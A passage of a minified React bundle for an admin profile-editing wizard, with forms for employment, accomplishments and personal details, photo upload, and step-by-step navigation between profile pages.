spinner-border-sm"}):"Save"]})}),e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsxs($,{type:"submit",variant:"success",onClick:()=>b("submitAction","saveAndNext"),disabled:d,children:["Next Step",e.jsx(ve,{className:"ms-2"})]})})]})]})]})})})},qa=l.memo(({show:a,onHide:s,onSubmit:t,initialValues:i})=>e.jsx(I,{show:a,onHide:s,centered:!0,size:"lg",children:e.jsx(p.div,{variants:_a,initial:"hidden",animate:"visible",children:e.jsx(Y,{initialValues:i||{id:Math.random().toString(36).substr(2,9),companyName:"",companyBusiness:"",position:"",department:"",startDate:"",responsibilities:"",employmentPeriod:"",stillEmployed:!1},validationSchema:bs,onSubmit:t,validateOnChange:!1,children:({handleSubmit:n,isValidating:r})=>e.jsxs(e.Fragment,{children:[e.jsx(I.Header,{closeButton:!0,className:"bg-light",children:e.jsx(I.Title,{className:"text-primary",children:i?"Edit Employment":"Add New Employment"})}),e.jsx(I.Body,{children:e.jsxs("div",{className:"row g-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"companyName",label:"Company Name",placeholder:"ABC Ltd.",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"companyBusiness",label:"Company Business",placeholder:"Software, Retail, Consulting...",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"position",label:"Position",placeholder:"e.g. Software Engineer",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"department",label:"Department",placeholder:"e.g. IT",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"startDate",label:"Start Date",component:Se})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"employmentPeriod",label:"Employment Period (in Years)",placeholder:"e.g. 2 Years",component:v})}),e.jsx("div",{className:"col-12",children:e.jsx(c,{name:"responsibilities",label:"Responsibilities",placeholder:"Your daily duties...",component:v,as:"textarea",rows:4})}),e.jsx("div",{className:"col-12",children:e.jsxs("div",{className:"form-check",children:[e.jsx(c,{type:"checkbox",name:"stillEmployed",className:"form-check-input",id:"stillEmployed"}),e.jsx("label",{className:"form-check-label",htmlFor:"stillEmployed",children:"Currently employed here"})]})})]})}),e.jsxs(I.Footer,{className:"border-0",children:[e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsx($,{variant:"outline-secondary",onClick:s,children:"Cancel"})}),e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsx($,{variant:"primary",onClick:()=>n(),disabled:r,children:i?"Save Changes":"Add Employment"})})]})]})})})})),Oa={hidden:{opacity:0,y:20},visible:{opacity:1,y:0,transition:{duration:.3}},exit:{opacity:0,y:-20}},Fa={hidden:{opacity:0,scale:.95},visible:{opacity:1,scale:1,transition:{duration:.2}}},Ba=[{value:"publication",label:"Publication"},{value:"award",label:"Award"},{value:"project",label:"Project"},{value:"other",label:"Other"}],vs=G().shape({type:k().required("Accomplishment type is required"),title:k().required("Title is required"),description:k().required("Description is required"),url:k().url("Must be a valid URL").nullable(),issueDate:k().required("Issue date is required")}),Ha=l.memo(({accomplishment:a,index:s,onEdit:t,onDelete:i})=>e.jsx(p.div,{variants:Oa,initial:"hidden",animate:"visible",exit:"exit",layout:!0,children:e.jsxs(B,{className:"mb-3 hover-shadow transition-all",children:[e.jsxs(B.Header,{className:"d-flex justify-content-between align-items-center bg-light",children:[e.jsxs("div",{children:[e.jsx("h5",{className:"mb-0 text-primary",children:a.title}),e.jsx("small",{className:"text-muted text-capitalize",children:a.type})]}),e.jsxs(M,{children:[e.jsx(M.Toggle,{variant:"link",className:"no-arrow p-0",children:e.jsx(p.div,{whileHover:{scale:1.1},children:e.jsx(U,{className:"text-muted fs-5"})})}),e.jsxs(M.Menu,{align:"end",children:[e.jsxs(M.Item,{onClick:t,children:[e.jsx(U,{className:"me-2"})," Edit"]}),e.jsxs(M.Item,{onClick:i,className:"text-danger",children:[e.jsx(xe,{className:"me-2"})," Delete"]})]})]})]}),e.jsxs(B.Body,{children:[e.jsxs(p.div,{layout:!0,className:"row g-2",children:[e.jsxs("div",{className:"col-md-4",children:[e.jsx("label",{className:"text-muted small",children:"Issue Date"}),e.jsx("p",{className:"mb-0",children:a.issueDate})]}),e.jsxs("div",{className:"col-md-8",children:[e.jsx("label",{className:"text-muted small",children:"URL"}),e.jsx("p",{className:"mb-0",children:a.url?e.jsx("a",{href:a.url,target:"_blank",rel:"noopener noreferrer",children:a.url}):"N/A"})]})]}),e.jsxs(p.div,{layout:!0,className:"mt-3",children:[e.jsx("label",{className:"text-muted small",children:"Description"}),e.jsx("p",{className:"mb-0",children:a.description})]})]})]})})),Ja=()=>{const a=me(),{currentUser:s,setCurrentUser:t}=ee(),[i,n]=l.useState(!1),[r,o]=l.useState(null),[d,m]=l.useState(!1);if(!s)return T.error("User not found"),null;const f={accomplishments:s!=null&&s.school_pay_payment_code?JSON.parse(s.school_pay_payment_code):[],submitAction:""},j=l.useCallback(async N=>{m(!0);try{const b={...s,school_pay_payment_code:JSON.stringify(N.accomplishments)},C=await pe("profile",{school_pay_payment_code:JSON.stringify(N.accomplishments)}),E=se.fromJson(JSON.stringify(C));te.saveProfile(E),T.success("Accomplishments updated successfully",{icon:e.jsx("span",{children:"✅"})}),N.submitAction==="saveAndNext"&&a("/admin/profile-edit/some-other-page")}catch{T.error("Failed to save accomplishments",{icon:e.jsx("span",{children:"❌"})})}finally{m(!1)}},[s,t,a]),u=l.useCallback((N,b)=>{T(e.jsxs(p.div,{initial:{opacity:0},animate:{opacity:1},className:"d-flex flex-column p-3",children:[e.jsx("h6",{className:"mb-3",children:"Delete this accomplishment?"}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsx($,{variant:"danger",size:"sm",onClick:()=>{b(N),T.dismiss()},children:"Delete"}),e.jsx($,{variant:"outline-secondary",size:"sm",onClick:()=>T.dismiss(),children:"Cancel"})]})]}),{icon:e.jsx("span",{children:"⚠️"})})},[]);return e.jsx(Le,{fluid:"lg",className:"py-4",children:e.jsx(Y,{initialValues:f,validationSchema:G({accomplishments:ce().of(vs)}),validateOnChange:!1,onSubmit:j,children:({values:N,setFieldValue:b})=>e.jsxs(ue,{children:[e.jsx(X,{defaultActiveKey:"0",className:"shadow-sm rounded-3 overflow-hidden",children:e.jsxs(X.Item,{eventKey:"0",children:[e.jsx("h2",{className:"accordion-header bg-light text-black fw-bold",children:e.jsx(X.Button,{className:"bg-light text-black fw-bold text-gray-900",children:e.jsx("span",{className:"fs-1 fw-bolder text-primary",children:"Accomplishments & Achievements"})})}),e.jsx(X.Collapse,{eventKey:"0",children:e.jsxs(p.div,{initial:{opacity:0},animate:{opacity:1},className:"p-4",children:[e.jsx("div",{className:"d-flex justify-content-end mb-4",children:e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsxs($,{variant:"primary",onClick:()=>{o(null),n(!0)},children:[e.jsx(re,{className:"me-2"})," Add Accomplishment"]})})}),e.jsx(oe,{name:"accomplishments",children:({push:C,remove:E,replace:y})=>e.jsx(de,{mode:"popLayout",children:N.accomplishments.map((_,D)=>e.jsx(Ha,{accomplishment:_,index:D,onEdit:()=>{o(D),n(!0)},onDelete:()=>u(D,E)},_.id))})})]})})]})}),e.jsx(La,{show:i,onHide:()=>n(!1),onSubmit:C=>{r!==null?b(`accomplishments[${r}]`,C):b("accomplishments",[...N.accomplishments,C]),n(!1)},initialValues:r!==null?N.accomplishments[r]:null}),e.jsxs(p.div,{className:"d-flex justify-content-between mt-5 border-top pt-4",layout:!0,children:[e.jsx(p.div,{whileHover:{x:-5},children:e.jsx($,{variant:"outline-primary",onClick:()=>a("/admin/profile-edit/employment"),children:"← Back"})}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsxs($,{type:"submit",variant:"primary",onClick:()=>b("submitAction","save"),disabled:d,children:[e.jsx(he,{className:"me-2"}),d?e.jsx("span",{className:"spinner-border spinner-border-sm"}):"Save"]})}),e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsxs($,{type:"submit",variant:"success",onClick:()=>a("/admin/my-cv"),disabled:d,children:["Finish",e.jsx(Bs,{className:"ms-2"})]})})]})]})]})})})},La=l.memo(({show:a,onHide:s,onSubmit:t,initialValues:i})=>e.jsx(I,{show:a,onHide:s,centered:!0,size:"lg",children:e.jsx(p.div,{variants:Fa,initial:"hidden",animate:"visible",children:e.jsx(Y,{initialValues:i||{id:Math.random().toString(36).substr(2,9),type:"",title:"",description:"",url:"",issueDate:""},validationSchema:vs,onSubmit:t,validateOnChange:!1,children:({handleSubmit:n,isValidating:r})=>e.jsxs(e.Fragment,{children:[e.jsx(I.Header,{closeButton:!0,className:"bg-light",children:e.jsx(I.Title,{className:"text-primary",children:i?"Edit Accomplishment":"Add New Accomplishment"})}),e.jsx(I.Body,{children:e.jsxs("div",{className:"row g-3",children:[e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"type",label:"Type",component:o=>e.jsx(V,{...o,options:Ba,placeholder:"Select type"})})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"title",label:"Title",placeholder:"Best Research Paper 2023",component:v})}),e.jsx("div",{className:"col-12",children:e.jsx(c,{name:"description",label:"Description",placeholder:"Describe your accomplishment...",component:v,as:"textarea",rows:4})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"url",label:"URL",placeholder:"https://example.com",component:v})}),e.jsx("div",{className:"col-md-6",children:e.jsx(c,{name:"issueDate",label:"Issue Date",component:Se})})]})}),e.jsxs(I.Footer,{className:"border-0",children:[e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsx($,{variant:"outline-secondary",onClick:s,children:"Cancel"})}),e.jsx(p.div,{whileHover:{scale:1.05},children:e.jsx($,{variant:"primary",onClick:()=>n(),disabled:r,children:i?"Save Changes":"Add Accomplishment"})})]})]})})})})),za=()=>{const a=me(),[s,t]=l.useState(""),[i,n]=l.useState(""),[r,o]=l.useState(!1),[d,m]=l.useState(null),{setCurrentUser:f}=ee(),{currentUser:j}=ee();if(!j)return null;const u=G().shape({first_name:k().required("First Name is required"),last_name:k().min(2).required("Last Name is required"),sex:k().required("Gender is required"),title:k().required("Title is required")}),N=y=>{y&&y.length>0&&m(y[0])},{getRootProps:b,getInputProps:C}=Hs({onDrop:N}),E=async(y,_)=>{t(""),n(""),o(!0);const D=y.submitAction||"save";try{if(!d){T.warn("Select a profile photo first.");return}const A=new FormData;Object.entries(y).forEach(([h,x])=>{A.append(h,x?x.toString():"")}),d&&A.append("profile_photo",d);const g=await pe("profile",A),w=se.fromJson(JSON.stringify(g));f(w),te.saveProfile(w),n("Profile updated successfully"),T.success("Profile updated successfully"),D==="saveAndNext"&&a("/admin/profile-edit/bio")}catch(A){t("Failed: "+A),T.error("Profile update failed")}finally{o(!1),_.setSubmitting(!1)}};return e.jsx(Y,{initialValues:j,validationSchema:u,onSubmit:E,children:({isSubmitting:y,setFieldValue:_})=>e.jsxs(ue,{children:[e.jsx(p.div,{className:"card-header bg-light text-black fw-bold ps-6",initial:{opacity:0,y:-10},animate:{opacity:1,y:0},transition:{duration:.3},children:e.jsx("h2",{className:"text-primary fs-1 fw-bolder mt-7 ps-0",children:"Personal Details"})}),r&&e.jsx(p.div,{initial:{opacity:0},animate:{opacity:1},transition:{duration:.2},style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",backgroundColor:"rgba(0,0,0,0.5)",display:"flex",alignItems:"center",justifyContent:"center",zIndex:9999},children:e.jsx("div",{className:"spinner-border text-light",role:"status",children:e.jsx("span",{className:"visually-hidden",children:"Loading..."})})}),s&&e.jsxs(p.div,{className:"alert alert-danger alert-dismissible fade show",role:"alert",initial:{opacity:0},animate:{opacity:1},children:[s,e.jsx("button",{type:"button",className:"btn-close","data-bs-dismiss":"alert","aria-label":"Close"})]}),i&&e.jsxs(p.div,{className:"alert alert-success alert-dismissible fade show",role:"alert",initial:{opacity:0},animate:{opacity:1},children:[i,e.jsx("button",{type:"button",className:"btn-close","data-bs-dismiss":"alert","aria-label":"Close"})]}),j.avatar&&!j.avatar.toLowerCase().includes("user")&&e.jsx(p.div,{className:"d-flex justify-content-center mb-4 mt-5 mt-lg-10",initial:{scale:.9,opacity:0},animate:{scale:1,opacity:1},children:e.jsx("img",{src:te.img(j.avatar),alt:"avatar",style:{width:200,height:200,borderRadius:"10%"}})}),e.jsx(p.div,{className:"d-flex justify-content-center mb-4 mt-5 mt-lg-10",initial:{scale:.9,opacity:0},animate:{scale:1,opacity:1},children:e.jsxs("div",{...b(),style:{width:200,height:200,border:"2px dashed #ccc",borderRadius:"8px",display:"flex",justifyContent:"center",alignItems:"center",cursor:"pointer",overflow:"hidden"},children:[e.jsx("input",{...C()}),d?e.jsx("img",{src:URL.createObjectURL(d),alt:"profile",style:{width:"100%",height:"100%",objectFit:"cover"}}):e.jsx("p",{className:"text-muted mb-0",children:e.jsx("span",{className:"ms-3 fs-6 fw-bold text-gray-700",children:j.avatar&&!j.avatar.toLowerCase().includes("user")?"Set profile photo":"Change profile photo"})})]})}),e.jsxs(p.div,{className:"d-flex justify-content-between mt-5 border-top pt-4 mb-5 mb-lg-10",initial:{opacity:0},animate:{opacity:1},transition:{duration:.3},children:[e.jsxs("button",{type:"button",className:"btn btn-outline-danger",onClick:()=>a("/admin/profile-edit/education"),children:[e.jsx(Js,{className:"me-2 text-danger"}),"Cancel"]}),e.jsxs("div",{className:"d-flex gap-2",children:[e.jsxs("button",{type:"submit",className:"btn btn-primary",onClick:()=>{E(j,{setSubmitting:()=>{}})},disabled:y,children:[e.jsx(he,{className:"me-2"}),y?"Saving...":"Save"]}),e.jsxs(ae,{type:"submit",className:"btn btn-success",to:"/admin/profile-edit/bio",children:["Next Step ",e.jsx(ve,{className:"ms-2"})]})]})]})]})})},Wa=()=>{const{currentUser:a}=ee(),[s,t]=l.useState(!1),i=Ls(),n=[{title:"Profile",path:"/admin/profile-edit/bio",isSeparator:!1,isActive:!1},{title:"",path:"",isSeparator:!0,isActive:!1}];return a?e.jsxs($a,{children:[e.jsx(Ua,{currentUser:a,setIsLoading:t}),s&&e.jsx("div",{children:"Loading..."})," ",e.jsx(zs,{children:e.jsxs(Z,{path:"/*",element:e.jsxs(e.Fragment,{children:[e.jsx(Us,{}),e.jsx(Ys,{children:e.jsxs("div",{className:"stepper stepper-pills stepper-column d-flex flex-column flex-xl-row flex-row-fluid",children:[e.jsx("div",{className:"card d-none d-xl-flex justify-content-center justify-content-xl-start flex-row-auto w-100 w-xl-300px w-xxl-400px me-9",children:e.jsx("div",{className:"stepper stepper-pills stepper-column d-flex flex-column flex-xl-row flex-row-fluid",children:e.jsx("div",{className:"card d-flex justify-content-center justify-content-xl-start flex-row-auto w-100 w-xl-300px w-xxl-400px me-9",children:e.jsxs("div",{className:"card-body px-3 px-lg-10 py-10 py-lg-10",children:[e.jsx("div",{className:"d-flex flex-wrap flex-stack justify-content-center mb-5",children:e.jsxs("div",{className:"d-flex align-items-center w-200px w-sm-300px flex-column mt-3",children:[e.jsxs("div",{className:"d-flex justify-content-between w-100 mt-auto mb-2",children:[e.jsx("span",{className:"fw-bold fs-6 text-gray-500",children:"Profile Compleation"}),e.jsx("span",{className:"fw-bolder fs-6",children:"50%"})]}),e.jsx("div",{className:"h-5px mx-3 w-100 bg-light mb-3",children:e.jsx("div",{className:"bg-success rounded h-5px",role:"progressbar",style:{width:"50%"}})})]})}),e.jsx(ae,{className:"stepper-nav",to:"/admin/profile-edit/photo",children:e.jsxs("div",{className:`stepper-item ${i.pathname==="/admin/profile-edit/photo"?"current":""}`,"data-kt-stepper-element":"nav",children:[e.jsxs("div",{className:"stepper-wrapper",children:[e.jsxs("div",{className:"stepper-icon w-40px h-40px",children:[e.jsx("i",{className:"stepper-check fas fa-check"}),e.jsx("span",{className:"stepper-number",children:"1"})]}),e.jsxs("div",{className:"stepper-label",children:[e.jsx("h3",{className:`stepper-title ${i.pathname==="/admin/profile-edit/photo"?"text-primary fw-bolder":"fw-semibold text-muted"}`,children:"Profile Photo"}),e.jsx("div",{className:"stepper-desc fw-semibold",children:"Setup your profile photo and cover"})]})]}),e.jsx("div",{className:"stepper-line h-40px"})]})}),e.jsx(ae,{className:"stepper-nav",to:"/admin/profile-edit/bio",children:e.jsxs("div",{className:`stepper-item ${i.pathname==="/admin/profile-edit/bio"?"current":""}`,"data-kt-stepper-element":"nav",children:[e.jsxs("div",{className:"stepper-wrapper",children:[e.jsxs("div",{className:"stepper-icon w-40px h-40px",children:[e.jsx("i",{className:"stepper-check fas fa-check"}),e.jsx("span",{className:"stepper-number",children:"2"})]}),e.jsxs("div",{className:"stepper-label",children:[e.jsx("h3",{className:`stepper-title ${i.pathname==="/admin/profile-edit/bio"?"text-primary fw-bolder":"fw-semibold text-muted"}`,children:"Biodata"}),e.jsx("div",{className:"stepper-desc fw-semibold",children:"Setup your personal information"})]})]}),e.jsx("div",{className:"stepper-line h-40px"})]})}),e.jsx(ae,{to:"/admin/profile-edit/education",className:"stepper-nav",children:e.jsxs("div",{className:`stepper-item ${i.pathname==="/admin/profile-edit/education"?"current":""}`,"data-kt-stepper-element":"nav",children:[e.jsxs("div",{className:"stepper-wrapper",children:[e.jsxs("div",{className:"stepper-icon w-40px h-40px",children:[e.jsx("i",{className:"stepper-check fas fa-check"}),e.jsx("span",{className:"stepper-number",children:"3"})]}),e.jsxs("div",{className:"stepper-label",children:[e.jsx("h3",{className:`stepper-title ${i.pathname==="/admin/profile-edit/education"?"text-primary fw-bolder":"fw-semibold text-muted"}`,children:"Education & Training"}),e.jsx("div",{className:"stepper-desc fw-semibold",children:"Setup your personal information"})]})]}),e.jsx("div",{className:"stepper-line h-40px"})]})}),e.jsx(ae,{to:"/admin/profile-edit/employment",className:"stepper-nav",children:e.jsxs("div",{className:`stepper-item ${i.pathname==="/admin/profile-edit/employment"?"current":""}`,"data-kt-stepper-element":"nav",children:[e.jsxs("div",{className:"stepper-wrapper",children:[e.jsxs("div",{className:"stepper-icon w-40px h-40px",children:[e.jsx("i",{className:"stepper-check fas fa-check"}),e.jsx("span",{className:"stepper-number",children:"4"})]}),e.jsxs("div",{className:"stepper-label",children:[e.jsx("h3",{className:`stepper-title ${i.pathname==="/admin/profile-edit/employment"?"text-primary fw-bolder":"fw-semibold text-muted"}`,children:"Employment"}),e.jsx("div",{className:"stepper-desc fw-semibold",children:"Setup your employment history"})]})]}),e.jsx("div",{className:"stepper-line h-40px"})]})}),e.jsx(ae,{to:"/admin/profile-edit/accomplishment",className:"stepper-nav",children:e.jsx("div",{className:`stepper-item ${i.pathname==="/admin/profile-edit/accomplishment"?"current":""}`,"data-kt-stepper-element":"nav",children:e.jsxs("div",{className:"stepper-wrapper",children:[e.jsxs("div",{className:"stepper-icon w-40px h-40px",children:[e.jsx("i",{className:"stepper-check fas fa-check"}),e.jsx("span",{className:"stepper-number",children:"5"})]}),e.jsxs("div",{className:"stepper-label",children:[e.jsx("h3",{className:`stepper-title ${i.pathname==="/admin/profile-edit/accomplishment"?"text-primary fw-bolder":"fw-semibold text-muted"}`,children:"Accomplishments"}),e.jsx("div",{className:"stepper-desc fw-semibold",children:"Setup your accomplishments"})]})]})})})]})})})}),e.jsx("div",{className:"d-flex flex-row-fluid flex-s bg-body rounded w-100 w-xl-800px w-xxl-1000px d-flex flex-column card rounded",children:e.jsx(Gs,{})})]})})]}),children:[e.jsx(Z,{path:"photo",element:e.jsxs(e.Fragment,{children:[e.jsx(ie,{breadcrumbs:n,children:"Profile Photo"}),e.jsx(za,{})]})}),e.jsx(Z,{path:"bio",element:e.jsxs(e.Fragment,{children:[e.jsx(ie,{breadcrumbs:n,children:"Personal Information"}),e.jsx(Ia,{})]})}),e.jsx(Z,{path:"education",element:e.jsxs(e.Fragment,{children:[e.jsx(ie,{breadcrumbs:n,children:"Education"}),e.jsx(ka,{})]})}),e.jsx(Z,{path:"employment",element:e.jsxs(e.Fragment,{children:[e.jsx(ie,{breadcrumbs:n,children:"Employment"}),e.jsx(Ra,{})]})}),e.jsx(Z,{path:"accomplishment",element:e.jsxs(e.Fragment,{children:[e.jsx(ie,{breadcrumbs:n,children:"Accomplishment"}),e.jsx(Ja,{})]})}),e.jsx(Z,{path:"",element:e.jsx(Te,{to:"photo",replace:!0})})]})})]}):e.jsx(Te,{to:"/login",replace:!0})},Ua=({currentUser:a,setIsLoading:s})=>{const{setProfile:t}=Pa();return l.useEffect(()=>{(async()=>{s(!0);try{if(a){const n=se.fromJson(JSON.stringify(a));t(n)}}catch(n){console.error("Failed to initialize profile:",n)}finally{s(!1)}})()},[a,t,s]),null};export{Wa as default};
Close